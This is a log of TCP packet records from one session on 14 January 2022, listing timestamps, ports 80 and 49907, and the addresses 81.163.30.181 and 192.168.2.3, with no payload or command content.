Jan 14, 2022 20:24:08.805470943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805541992 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805572987 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805584908 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.805645943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805679083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805713892 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.805744886 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805804968 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805921078 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805954933 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.806024075 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.806050062 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.806123972 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.806225061 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.806520939 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.806576014 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.806627035 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.864985943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865061045 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865068913 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865087986 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865113020 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865117073 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865140915 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865144968 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865168095 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865170956 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865194082 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865197897 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865221024 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865223885 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865250111 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865250111 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865277052 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865278006 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865304947 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865324974 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865331888 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865358114 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865403891 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865447044 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865473032 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865489960 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865498066 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865515947 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865525007 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865544081 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865551949 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865571976 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865578890 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865597963 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865606070 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865623951 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865633011 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865650892 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865659952 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865679026 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865685940 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865703106 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865711927 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865732908 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865739107 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865760088 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865766048 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865783930 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865792990 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865812063 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865843058 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865843058 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865885019 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865891933 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865919113 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865930080 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865943909 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865961075 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865969896 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.865981102 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.865997076 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.866013050 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.866024971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.866038084 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.866053104 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.866064072 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.866080999 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.866091013 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.866108894 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.866121054 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.866138935 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.866151094 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.866164923 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.866179943 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.866193056 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.866204977 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.866223097 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.866250038 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.866276979 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.866276979 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.866296053 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.866337061 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.922843933 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.922919035 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.922976971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923018932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923049927 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923068047 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923079967 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923094034 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923121929 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923135042 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923161030 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923177004 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923217058 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923221111 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923234940 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923254013 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923254967 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923295021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923316002 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923335075 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923352003 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923374891 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923377037 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923415899 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923417091 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923454046 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923455000 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923492908 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923495054 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923535109 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923535109 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923573017 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923574924 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923612118 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923613071 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923651934 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923651934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923691988 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923693895 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923732996 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923734903 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923774958 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923775911 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923813105 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923852921 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923886061 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923890114 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923929930 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923929930 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.923969030 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.923974991 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.924010038 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.924051046 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.924052954 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.924088955 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.924125910 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.924128056 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.924168110 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.924205065 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.924204111 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.924243927 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.924280882 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.927825928 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984016895 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984118938 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984146118 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984172106 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984200954 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984199047 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984225035 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984249115 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984251022 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984275103 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984277010 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984303951 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984330893 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984333038 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984358072 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984383106 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984385967 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984410048 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984428883 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984436989 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984466076 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984488010 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984492064 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984515905 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984544039 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984559059 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984570026 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984587908 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984596014 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984623909 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984649897 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984667063 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984678984 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984704971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984711885 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984730959 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984757900 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984764099 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984782934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984808922 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984813929 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984833956 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984862089 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984863043 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984889984 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984926939 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.984934092 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.984986067 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.043251038 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043355942 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043381929 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043401957 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043421030 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043437958 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043441057 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.043487072 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.043494940 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.043534994 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043559074 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043582916 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043606043 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043623924 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.043629885 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043656111 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043659925 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.043682098 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043708086 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043725014 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.043731928 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043759108 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043766022 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.043782949 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043807030 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043818951 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.043832064 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043850899 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043868065 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.043878078 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043900967 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.043904066 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043931007 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043956041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.043962002 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.043982029 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.044008017 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.044013977 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.044034958 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.044059992 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.044064999 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.044084072 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.044110060 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.044128895 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.044135094 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.044159889 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.044159889 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.044184923 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.044218063 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.099773884 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.099790096 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.099864960 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.101022959 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101041079 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101058960 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101077080 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101094007 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101110935 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101116896 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.101129055 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101140976 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.101147890 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101166964 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101183891 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101192951 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.101202011 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101221085 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101224899 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.101238012 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101249933 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.101255894 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101274014 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101274014 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.101290941 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101308107 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101325035 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101327896 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.101342916 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101361036 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101362944 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.101378918 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101392031 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.101397038 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101414919 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101423979 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.101433039 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101452112 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101463079 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.101470947 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101488113 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101497889 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.101505995 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101524115 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101528883 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.101541042 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101560116 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.101582050 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.101614952 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.156317949 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.156359911 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.156399012 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.156452894 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.158175945 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158215046 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158255100 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158293962 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158332109 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158351898 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.158371925 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158400059 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.158407927 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.158412933 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158454895 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158463001 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.158495903 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158535004 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158574104 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158582926 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.158612967 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158620119 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.158652067 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158691883 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158730030 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158744097 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.158771038 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158773899 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:09.158813953 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158852100 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:09.158890963 CET	80	49907	81.163.30.181	192.168.2.3
